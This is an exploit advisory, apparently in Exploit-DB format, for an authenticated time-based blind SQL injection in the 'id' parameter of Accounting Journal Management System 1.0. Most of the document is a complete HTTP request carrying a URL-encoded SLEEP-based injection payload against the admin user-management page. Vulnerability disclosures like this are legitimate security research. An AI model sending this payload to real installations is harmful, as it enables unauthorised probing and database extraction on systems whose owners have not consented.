Accounting Journal Management System 1.0 SQL Injection

`# Exploit Title: Accounting Journal Management System 1.0 - 'id' SQLi (Authenticated)  
# Exploit Author: Alperen Ergel  
# Contact: @alpernae (IG/TW)  
# Software Homepage: https://www.sourcecodester.com/php/15155/accounting-journal-management-system-trial-balance-php-free-source-code.html  
# Version : 1.0  
# Tested on: windows 10 xammp | Kali linux  
# Category: WebApp  
# Google Dork: N/A  
# Date: 09.02.2022  
  
######## Description ########  
#  
#   
# Authenticate and get update user settings will be appear the  
# id paramater put your payload at there it'll be work   
#   
#  
#  
######## Proof of Concept ########  
  
========>>> REQUEST <<<=========  
  
GET /ajms/admin/?page=user/manage_user&id=5%27%20AND%20(SELECT%208928%20FROM%20(SELECT(SLEEP(10)))hVPW)%20AND%20%27qHYS%27=%27qHYS HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: close  
Cookie: PHPSESSID=r513r6hug9aqofhlfs3bc7f7qa  
Upgrade-Insecure-Requests: 1  
  
  
`